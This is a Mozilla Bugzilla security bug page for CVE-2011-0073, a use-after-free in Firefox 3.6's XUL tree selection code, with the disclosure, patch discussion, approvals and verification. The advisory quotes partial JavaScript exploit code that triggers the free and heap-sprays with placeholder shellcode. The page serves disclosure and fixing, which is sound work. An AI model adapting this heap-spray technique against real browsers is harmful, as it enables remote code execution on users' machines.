Last Comment Bug 630919 - (CVE-2011-0073) nsTreeRange Dangling Pointer Remote Code Execution Vulnerability (ZDI-CAN-1084)
(CVE-2011-0073)
: nsTreeRange Dangling Pointer Remote Code Execution Vulnerability (ZDI-CAN-1084)
Status: RESOLVED FIXED
[sg:critical]
: verified1.9.1, verified1.9.2
Product: Core
Classification: Components
Component: XUL (show other bugs)
: unspecified
: All All
: -- critical (vote)
: ---
Assigned To: Olli Pettay [:smaug]
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2011-02-02 10:29 PST by Reed Loden [:reed] (use needinfo?)
Modified: 2011-05-09 13:26 PDT (History)
7 users (show)
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
-
unaffected
.17+
.17-fixed
.19+
.19-fixed


Attachments
Sledgehammer (14.24 KB, patch)
2011-02-02 12:25 PST, neil@parkwaycc.co.uk
no flags Details | Diff | Splinter Review
Hack (5.01 KB, patch)
2011-02-02 13:12 PST, neil@parkwaycc.co.uk
no flags Details | Diff | Splinter Review
Collect and invalidate ranges safely (2.56 KB, patch)
2011-02-21 08:16 PST, Olli Pettay [:smaug]
neil: review+
enndeakin: review+
jst: approval2.0+
dveditz: approval1.9.2.17+
dveditz: approval1.9.1.19+
Details | Diff | Splinter Review

Description Reed Loden [:reed] (use needinfo?) 2011-02-02 10:29:19 PST
ZDI-CAN-1084: Mozilla Firefox nsTreeRange Dangling Pointer Remote Code Execution Vulnerability

-- CVSS ----------------------------------------------------------------
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- ABSTRACT ------------------------------------------------------------

TippingPoint has identified a vulnerability affecting the following 
products:

    Mozilla Firefox

-- VULNERABILITY DETAILS -----------------------------------------------

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the way Firefox handles user defined
functions of a nsTreeSelection element. When executing the function
invalidateSelection it is possible to free the nsTreeSelection object
that the function operates on. Any further operations on the freed
object can result in remote code execution.

Version(s)  tested: Firefox 3.6.13
Platform(s) tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

View of XUL <tree> element exposes "selection" attribute. This in turn
allows user to setup custom tree box object. One of |nsTreeSelection|
methods is invalidateSelection(). From
layout/xul/base/src/tree/src/nsTreeSelection.cpp:

nsTreeSelection::InvalidateSelection()
{
  if (mFirstRange)
    mFirstRange->Invalidate();
  return NS_OK;
}

|mFirstRange| is defined as pointer to |nsTreeRange| struct.

struct nsTreeRange
{
  ...
  void Invalidate() {
    if (mSelection->mTree)
      mSelection->mTree->InvalidateRange(mMin, mMax);
    if (mNext)
      mNext->Invalidate();
  }
  ...
}

If execution of our custom made method invalidateRange() causes
destruction of all ranges withing selection (including |nsTreeRange|
instance which code is being executed at the moment), |this| in the
context of |Invalidate()| will be referring to already freed memory. In
other words: value of |mNext| is under attackers' control.



  sel.tree = {
    invalidateRange: function(s,e) {
      sel.tree = null;
      sel.clearSelection();

      var container = new Array();
      var addr = unescape("%u0a0a%u0a0a");

      var shellcode = unescape("%u9090%u9090"); // +

      var big = addr;
        while (big.length < 0x100000)
      big += big;
      var len = big.length - shellcode.length - 1;
      for (i = 0; i < 150; ++i)
        container.push(big.substring(0, len) + shellcode);

      var block = addr;
      while (block.length < 8)
        block += block;
      for (var i = 0; i < 1024*8; ++i)
         container.push(block + addr);
    }
  }

This will remove the tree and replace the object with 0x0a0a0a0a. Its
not 100% reliable, but it is a working exploit up to the DEP evasion.

-- CREDIT --------------------------------------------------------------

This vulnerability was discovered by:
    * regenrecht
Comment 1 Reed Loden [:reed] (use needinfo?) 2011-02-02 10:30:04 PST
The PoC got eaten by TippingPoint's outgoing mail server (it thought it was a virus), so I've requested it in another form.
Comment 2 neil@parkwaycc.co.uk 2011-02-02 12:25:03 PST
Created attachment 509193 [details] [diff] [review]
Sledgehammer

Sadly I can't see why this breaks. I can't see the wood for the trees ;-)
Comment 3 Reed Loden [:reed] (use needinfo?) 2011-02-02 12:34:15 PST
Created attachment 509195 [details]
PoC
Comment 4 neil@parkwaycc.co.uk 2011-02-02 13:12:38 PST
Created attachment 509210 [details] [diff] [review]
Hack

This might actually work, but I don't have a 1.9.x tree handy.
Comment 5 neil@parkwaycc.co.uk 2011-02-02 13:18:17 PST
Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
Comment 6 Daniel Veditz [:dveditz] 2011-02-03 13:57:39 PST
(In reply to comment #5)
> Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.

And because we don't support Web XUL anymore
Comment 7 Daniel Veditz [:dveditz] 2011-02-03 14:11:48 PST
(In reply to comment #5)
> Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.

I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1 -- something else is keeping the trunk safe. I mean beyond the lack of web XUL support, because I don't crash even when I enable remote XUL for testing with a current trunk nightly.
Comment 8 neil@parkwaycc.co.uk 2011-02-03 14:16:39 PST
(In reply to comment #6)
> (In reply to comment #5)
> > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
> And because we don't support Web XUL anymore
But, as you noticed, even with that taken into account.

(In reply to comment #7)
> (In reply to comment #5)
> > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
> I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1
> -- something else is keeping the trunk safe.
Bug 516237 wasn't completely back-ported to 1.9.1 (and presumably 1.9.2, but I didn't check), because Thunderbird depended on it. See bug 516237 comment 12 and subsequent comments and patches.
Comment 9 Olli Pettay [:smaug] 2011-02-20 12:22:36 PST
Neil, are you still working on this?
Comment 10 neil@parkwaycc.co.uk 2011-02-20 13:16:39 PST
(In reply to comment #9)
> Neil, are you still working on this?
Did you have anything in mind?
Comment 11 Olli Pettay [:smaug] 2011-02-20 13:25:08 PST
I was wondering if there is something to fix here, and if you're doing that.
And if so, should this be assigned to you? If not, assign to me.

This is an sg:crit bug we should fix asap.
Comment 12 Olli Pettay [:smaug] 2011-02-21 08:16:17 PST
Created attachment 514011 [details] [diff] [review]
Collect and invalidate ranges safely
Comment 13 Olli Pettay [:smaug] 2011-02-21 08:16:55 PST
(I'll test the patch still some more.)
Comment 14 Olli Pettay [:smaug] 2011-02-21 08:55:42 PST
Neils, do we have any good tests for this stuff?
Comment 16 Olli Pettay [:smaug] 2011-02-22 07:54:37 PST
the patch applies to trunk, 1.9.2 and 1.9.1
Comment 17 neil@parkwaycc.co.uk 2011-02-26 16:36:23 PST
Comment on attachment 514011 [details] [diff] [review]
Collect and invalidate ranges safely

>+  static void CollectRanges(nsTreeRange* aRange, nsTArray<PRInt32>& aRanges)
>+  {
>+    nsTreeRange* cur = aRange;
[You don't like modifying inparams?]
Comment 18 Daniel Veditz [:dveditz] 2011-02-28 10:25:58 PST
Comment on attachment 514011 [details] [diff] [review]
Collect and invalidate ranges safely

Approved for 1.9.2.15 and 1.9.1.18, a=dveditz for release-drivers
Comment 19 Olli Pettay [:smaug] 2011-03-01 05:23:30 PST
http://hg.mozilla.org/mozilla-central/rev/fab60117e622
Comment 21 Daniel Veditz [:dveditz] 2011-03-04 10:14:48 PST
The "3.6.15" we're releasing today does not fix this bug, the release containing this bug fix has been renamed to "3.6.16" and the bugzilla flags will be updated to reflect that soon. Today's release is a re-release of 3.6.14 plus a fix for a bug that prevented many Java applets from starting up.
Comment 22 Al Billings [:abillings] 2011-03-22 17:19:57 PDT
Verified for 1.9.2 on XP SP3 with nightly Firefox 1.9.2 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16pre) Gecko/20110317 Namoroka/3.6.16pre (.NET CLR 3.5.30729)) and verified crash in 1.9.2.15.

Verified for 1.9.1 with nightly 1.9.1 build (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18pre) Gecko/20110317 Shiretoko/3.5.18pre (.NET CLR 3.5.30729)). Verified crash in 1.9.1.17.

Note You need to log in before you can comment on or make changes to this bug.